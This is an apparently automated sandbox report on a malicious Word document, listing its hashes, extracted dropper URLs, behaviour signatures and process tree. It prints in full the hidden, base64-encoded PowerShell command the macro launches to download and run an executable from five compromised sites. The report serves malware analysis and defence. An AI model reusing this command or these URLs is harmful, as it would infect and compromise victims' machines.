Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    09-05-2024 08:49

General

  • Target

    292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc

  • Size

    247KB

  • MD5

    292fc1154bbe613521acfa3ab69da24d

  • SHA1

    d89cb8fee32378fab48c4af4073d0b1f4977f2b8

  • SHA256

    58284dd1bedbf2c82204eb15cdad07525a70b52ff1729e051ac101c066531ce3

  • SHA512

    739f5ad0af89e7429e2fe2c67a8579093b1c78b7c85a287e91c2fe46224f334f3f70cea86c9e1ddb6972e4169bd273567c9b40fa3d895173130fb445b0dc58aa

  • SSDEEP

    6144:30Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+7y6aboRTa:30E3dxtR/iU9mvUP7paboRm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://zhangpalace.com/wp-admin/kfcuow/

exe.dropper

http://raquelstrutz.edutrovao.com.br/wp-includes/mhj4x/

exe.dropper

http://hoem.staging.pixelcarve.net/content/YLcMZTn/

exe.dropper

https://mdspgrp.com/wp-includes/g6tj/

exe.dropper

http://lula.vm-host.net/wp-content/ewww/wvo4jx/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2992
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABTAGkAawBxAGoAbgBhAGYAeABuAGEAYwA9ACcARQBoAHcAZwBsAG4AZQBnACcAOwAkAFoAeABiAGgAawB3AG8AYwB3ACAAPQAgACcANwAzADYAJwA7ACQARABhAHMAYwBxAGsAZQBoAHEAbQBwAD0AJwBEAHMAaABxAGcAdAB5AHYAbABlAGcAcABzACcAOwAkAEIAcgBsAGUAeABtAG8AbQBmAGgAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWgB4AGIAaABrAHcAbwBjAHcAKwAnAC4AZQB4AGUAJwA7ACQAVwByAG0AbwBjAGIAZgBuAGkAZAA9ACcAVwB2AHoAcQBvAGYAeQBjACcAOwAkAE0AcgB6AHcAbwBmAHYAYwBpAHMAYwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AEUAQgBjAEwASQBFAG4AVAA7ACQARABlAGMAYgBiAHQAYwBoAGIAdQBrAHQAcgA9ACcAaAB0AHQAcAA6AC8ALwB6AGgAYQBuAGcAcABhAGwAYQBjAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGsAZgBjAHUAbwB3AC8AKgBoAHQAdABwADoALwAvAHIAYQBxAHUAZQBsAHMAdAByAHUAdAB6AC4AZQBkAHUAdAByAG8AdgBhAG8ALgBjAG8AbQAuAGIAcgAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AaABqADQAeAAvACoAaAB0AHQAcAA6AC8ALwBoAG8AZQBtAC4AcwB0AGEAZwBpAG4AZwAuAHAAaQB4AGUAbABjAGEAcgB2AGUALgBuAGUAdAAvAGMAbwBuAHQAZQBuAHQALwBZAEwAYwBNAFoAVABuAC8AKgBoAHQAdABwAHMAOgAvAC8AbQBkAHMAcABnAHIAcAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AZwA2AHQAagAvACoAaAB0AHQAcAA6AC8ALwBsAHUAbABhAC4AdgBtAC0AaABvAHMAdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGUAdwB3AHcALwB3AHYAbwA0AGoAeAAvACcALgAiAFMAUABgAGwAaQBUACIAKAAnACoAJwApADsAJABOAHoAegBqAHQAcgB2AGwAbQA9ACcAUwBrAHoAegBhAHoAdwB4AGUAegBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAGEAaABtAGUAaQBjAHoAIABpAG4AIAAkAEQAZQBjAGIAYgB0AGMAaABiAHUAawB0AHIAKQB7AHQAcgB5AHsAJABNAHIAegB3AG8AZgB2AGMAaQBzAGMALgAiAGQAbwBgAFcAbgBMAE8AYABBAEQAZgBgAEkATABlACIAKAAkAEsAYQBoAG0AZQBpAGMAegAsACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQA7ACQAQwB6AGwAbwByAGoAdAB1AHMAcQBkAD0AJwBUAGgAbgBzAHcAcQBpAG8AZABrAGEAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQAuACIAbABFAG4AYABnAFQASAAiACAALQBnAGUAIAAzADMAMAA0ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQAQgByAGwAZQB4AG0AbwBtAGYAaAB3ACkAOwAkAEIAZQBvAGcAYQBhAGkAaAB0AD0AJwBUAGMAZQB0AGEAdQB2AG4AawAnADsAYgByAGUAYQBrADsAJABKAG0AYwB3AHEAYwB5AHAAawB4AGQAPQAnAFAAZABrAGMAbABoAG0AbwBoAGwAYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABlAGQAZABhAG4AdQBiAGQAZABqAD0AJwBFAHYAagBxAHoAbQBlAHgAawBzACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2288

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      160f63d70f9fc0016a3bd28c3a10198a

      SHA1

      feb849bce25834ddf1f2a3c33be74144bf436e53

      SHA256

      bb84d4ee3279694ad455553ddac5c6fc8d351780a5d08c8519b3fa70dbaa0d4b

      SHA512

      10abc5fffd21d854a6f93c6bfde03adc6f9c452a8a62b8f4593d8d2373ef83da32b8997c7e01ffb989268cf1df3fdd6cc82a80087a6fa76376e8a114374e8904

    • memory/2240-34-0x0000000005F90000-0x0000000006090000-memory.dmp

      Filesize

      1024KB

    • memory/2240-33-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-7-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-8-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-52-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-14-0x0000000005F90000-0x0000000006090000-memory.dmp

      Filesize

      1024KB

    • memory/2240-2-0x0000000070D3D000-0x0000000070D48000-memory.dmp

      Filesize

      44KB

    • memory/2240-17-0x0000000005F90000-0x0000000006090000-memory.dmp

      Filesize

      1024KB

    • memory/2240-9-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-32-0x0000000070D3D000-0x0000000070D48000-memory.dmp

      Filesize

      44KB

    • memory/2240-51-0x0000000070D3D000-0x0000000070D48000-memory.dmp

      Filesize

      44KB

    • memory/2240-0-0x000000002FF11000-0x000000002FF12000-memory.dmp

      Filesize

      4KB

    • memory/2240-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2240-50-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2288-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

      Filesize

      2.9MB

    • memory/2288-24-0x0000000002810000-0x0000000002818000-memory.dmp

      Filesize

      32KB